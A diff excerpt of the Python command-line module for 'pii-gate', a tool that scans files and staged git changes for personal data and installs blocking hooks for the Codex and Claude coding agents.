|
63
|
+
|
|
64
|
+
|
|
65
|
+
def cmd_scan(args) -> int:
|
|
66
|
+
cwd = os.getcwd()
|
|
67
|
+
cfg = load(cwd=cwd)
|
|
68
|
+
engine = Engine(cfg)
|
|
69
|
+
blocked = 0
|
|
70
|
+
if args.staged:
|
|
71
|
+
diff = subprocess.run(["git", "diff", "--cached", "-U0", "--no-color"], capture_output=True,
|
|
72
|
+
text=True, encoding="utf-8", errors="replace", check=False)
|
|
73
|
+
if diff.returncode != 0:
|
|
74
|
+
sys.stderr.write(diff.stderr)
|
|
75
|
+
return 2
|
|
76
|
+
current = ""
|
|
77
|
+
for line in diff.stdout.splitlines():
|
|
78
|
+
if line.startswith("+++ "):
|
|
79
|
+
current = line[4:]
|
|
80
|
+
current = current[2:] if current.startswith("b/") else current
|
|
81
|
+
elif line.startswith("+") and not line.startswith("+++"):
|
|
82
|
+
if engine.path_allowed(current, cwd):
|
|
83
|
+
continue
|
|
84
|
+
blocked += _scan_text_lines(engine, current, line[1:])
|
|
85
|
+
else:
|
|
86
|
+
for path in _iter_files(args.paths or ["."]):
|
|
87
|
+
rel = str(path)
|
|
88
|
+
if engine.path_allowed(rel, cwd) or engine.path_allowed(str(path.resolve()), cwd):
|
|
89
|
+
continue
|
|
90
|
+
try:
|
|
91
|
+
if path.stat().st_size > MAX_BYTES:
|
|
92
|
+
continue
|
|
93
|
+
data = path.read_bytes()
|
|
94
|
+
except OSError:
|
|
95
|
+
continue
|
|
96
|
+
if not _is_text(data):
|
|
97
|
+
continue
|
|
98
|
+
blocked += _scan_text_lines(engine, rel, data.decode("utf-8", errors="replace"))
|
|
99
|
+
_print(f"{'BLOCKED' if blocked else 'clean'}: {blocked} blocking finding(s)")
|
|
100
|
+
return 1 if blocked else 0
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
def cmd_install(args) -> int:
|
|
104
|
+
agents = ["codex", "claude"] if args.agent == "all" else [args.agent]
|
|
105
|
+
for agent in agents:
|
|
106
|
+
path = installer.install(agent, project=args.project)
|
|
107
|
+
_print(f"{agent}: hook written to {path}")
|
|
108
|
+
if agent == "codex":
|
|
109
|
+
_print(" run `codex`, then `/hooks` to review and trust the new hook (Codex skips untrusted hooks)")
|
|
110
|
+
return 0
|
|
111
|
+
|
|
112
|
+
|
|
113
|
+
def cmd_uninstall(args) -> int:
|
|
114
|
+
agents = ["codex", "claude"] if args.agent == "all" else [args.agent]
|
|
115
|
+
for agent in agents:
|
|
116
|
+
path = installer.uninstall(agent, project=args.project)
|
|
117
|
+
_print(f"{agent}: pii-gate entries removed from {path}")
|
|
118
|
+
return 0
|
|
119
|
+
|
|
120
|
+
|
|
121
|
+
def cmd_status(args) -> int:
|
|
122
|
+
try:
|
|
123
|
+
cfg = load(cwd=os.getcwd())
|
|
124
|
+
_print(f"config: {cfg.source}")
|
|
125
|
+
_print("rules : " + ", ".join(f"{r}={cfg.level(r)}" for r in sorted(cfg.levels)))
|
|
126
|
+
except ConfigError as exc:
|
|
127
|
+
_print(f"config: ERROR {exc}")
|
|
128
|
+
for line in installer.status():
|
|
129
|
+
_print(line)
|
|
130
|
+
return 0
|
|
131
|
+
|
|
132
|
+
|
|
133
|
+
def build_parser() -> argparse.ArgumentParser:
|
|
134
|
+
p = argparse.ArgumentParser(prog="pii-gate", description="Fail-closed personal-data gate for AI coding agents.")
|
|
135
|
+
p.add_argument("--version", action="version", version=f"pii-gate {__version__}")
|
|
136
|
+
sub = p.add_subparsers(dest="cmd")
|
|
137
|
+
sub.required = True
|
|
138
|
+
|
|
139
|
+
h = sub.add_parser("hook", help="run as a Codex CLI / Claude Code hook (reads JSON on stdin)")
|
|
140
|
+
h.add_argument("--fail-open", action="store_true", help="allow on internal errors (default: block)")
|
|
141
|
+
h.set_defaults(func=lambda a: hook.main(fail_open=True if a.fail_open else None))
|
|
142
|
+
|
|
143
|
+
c = sub.add_parser("check", help="check a piece of text; exit 1 if it would be blocked")
|
|
144
|
+
c.add_argument("text", nargs="*")
|
|
145
|
+
c.add_argument("--stdin", action="store_true", help="read the text from stdin")
|
|
146
|
+
c.add_argument("--command", action="store_true", help="treat the text as a shell command (exfil/tamper rules too)")
|
|
147
|
+
c.set_defaults(func=cmd_check)
|
|
148
|
+
|
|
149
|
+
s = sub.add_parser("scan", help="scan files (or --staged git changes); exit 1 on blocking findings")
|
|
150
|
+
s.add_argument("paths", nargs="*")
|
|
151
|
+
s.add_argument("--staged", action="store_true", help="scan lines added in the git index (pre-commit)")
|
|
152
|
+
s.set_defaults(func=cmd_scan)
|
|
153
|
+
|
|
154
|
+
for name, fn in (("install", cmd_install), ("uninstall", cmd_uninstall)):
|
|
155
|
+
i = sub.add_parser(name, help=f"{name} the hook for codex, claude or all")
|
|
156
|
+
i.add_argument("agent", choices=["codex", "claude", "all"])
|
|
157
|
+
i.add_argument("--project", action="store_true", help="write into ./.codex or ./.claude instead of your home")
|
|
158
|
+
i.set_defaults(func=fn)
|
|
159
|
+
|
|
160
|
+
st = sub.add_parser("status", help="show active config and where the hook is installed")
|
|
161
|
+
st.set_defaults(func=cmd_status)
|
|
162
|
+
return p
|
|
163
|
+
|
|
164
|
+
|
|
165
|
+
def main(argv: Optional[List[str]] = None) -> int:
|
|
166
|
+
args = build_parser().parse_args(argv)
|
|
167
|
+
try:
|
|
168
|
+
return int(args.func(args) or 0)
|
|
169
|
+
except ConfigError as exc:
|
|
170
|
+
sys.stderr.write(f"pii-gate config error: {exc}\n")
|
|
171
|
+
return 2
|